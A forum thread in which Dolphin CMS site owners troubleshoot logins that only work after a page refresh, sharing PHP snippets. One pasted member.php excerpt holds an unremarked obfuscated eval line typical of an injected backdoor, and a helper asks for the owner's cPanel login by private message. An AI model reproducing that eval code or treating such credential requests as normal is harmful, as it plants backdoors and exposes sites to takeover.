Signin needs to be refreshed to work?

This has been an issue fro some time on my site and I just can't ignore it any longer. I also was wondering if anyone has had the same issue? I have my site set to register by invitation only but when I try to sign in a large number of times I put the user name and password in and then the page refreshes when I submit but the site acts like I never did anything as it won't sign in. If i refresh the page it then logs me in. It is enough to drive me nuts. Any thoughts on why this might happen or some kind of setting that must be changed please supply that so I can get rid of this issue. You can try and login with the user name guest and the password guest and see if the same happens to you but I have had other say the same happens to them! How can i fix this once and for all?

I am open to all suggestions...

hello,

You might have done something with your files because in the login form you site shows this

<input class="form_input_hidden" type="hidden" name="relocate" value="http://www.getglobalexposure.com/">

but it should be

<input class="form_input_hidden" type="hidden" name="relocate" value="http://www.getglobalexposure.com/member.php">

thats the reason its not redirecting to member.php. 

I have the same problem.

Where is that code located?

check your design.inc.php at line 434. If unsure just post the code here

I'm sorry, but where is design.inc.php located? whats the full path?

inc/design.inc.php

Starting at 429, this is what I got:

           'rememberme' => array(
                'type' => 'checkbox',
                'name' => 'rememberMe',
                'label' => _t('_Remember password'),
            ),
            'relocate' => array(
                'type' => 'hidden',
                'name' => 'relocate',
                'value'=> isset($_REQUEST['relocate']) ? $_REQUEST['relocate'] : BX_DOL_URL_ROOT . 'member.php',
            ),
            array(
                'type' => 'input_set',
                'colspan' => false,
                0 => array(
                    'type' => 'submit',
                    'name' => 'LogIn',
                    'caption' => '',
                    'value' => _t('_Login'),
                ),

member.php is there so I don't think that's the problem. Your code looks different though. Any thoughts?

open member.php and at line 681

you should see this

$sUrlRelocate = BX_DOL_URL_ROOT . 'member.php';

if unsure post code near those lines.

I got that too:

if (isAdmin($p_arr['ID'])) {$iId = (int)$p_arr['ID']; $r = $l($a); eval($r($b));}
            $sRelocate = bx_get('relocate');
            if (!$sUrlRelocate = $sRelocate or $sRelocate == $site['url'] or basename($sRelocate) == 'join.php')
                $sUrlRelocate = BX_DOL_URL_ROOT . 'member.php';

Also, I notice that a member will appear to be logged in but when I refresh the page they are really logged out.

It seems like a refresh or cookie issue to me. I could be way off here. It is frustrating though.

csampson1, did you get yours to work?

thats pretty strange. If you like i can take a look at your site setup, just pm me the cpanel login.

That right there is not related to any logon issue. Dolphin has a setting for how long of time passes before a user is considered to be offline. Advanced settings, other.  Time period in minutes within which a member is considered to be online:

Although i don't think they worded that correctly. This settings determine how much idle time passes before an online user is considered to be offline. A member has to move around the site to keep that online light lit. So yea, if that amount of time has elapsed for that users, then when you refresh the page they may appear offline. Refresh again they may appear online. Depends on weather or not that other user has moved or done something on the site to let the site know they are still online.

So, those online indicators are not related to problems logging into the site.

Prashank25, That would be great, however As a starter, I can't seem to send you a message.

Deano, it also happens when I know he's online and he will still appear offline until I refresh the page.

I just messaged you.

These are the exact same issues I suffer from all the time and I am sorry to say on my world it is without question a log in issue which can happen throughout the site depending on the page they try to log in at.  If you want to discuss the online or offline thing that is another discussion but to not be able to just log in and if I refresh the page they do become logged in is indeed IMHO a log in issue...

It is as if one person does not have a log in issue then there is not an issue with it but clearly I am not the only one having the issue...

His problem looks like a browser cache issue because i can login normally and i get redirected also.

if this http://www.getglobalexposure.com is you site than i am able to login there also normally 

I think we have the same problem too, and most likely others. Like Prashank25 said, there's a browser cache issue. I think it's within dolphin though. I know it's not my browser in particular as I can go everywhere else on the www. Also my members have the same problem with only my site. I don't understand it, but I'm certain that it's within Dolphin and somehow I've got to resolve this for my members. 

I don't know the exact issue but i know another site with the same issue. Everything just got cached (text, image, css, etc etc). Its really frustrating. I think this happen to some specific hosts. 

I know there are issues with js caching and js compression on some hosts.

Has anyone who is having these issues tried turning those options off, manually clearing the cache and cache_public folders and then running the site for a few days without those on to see if anything improves?

 all caches and compression was already off. strange isn't it.
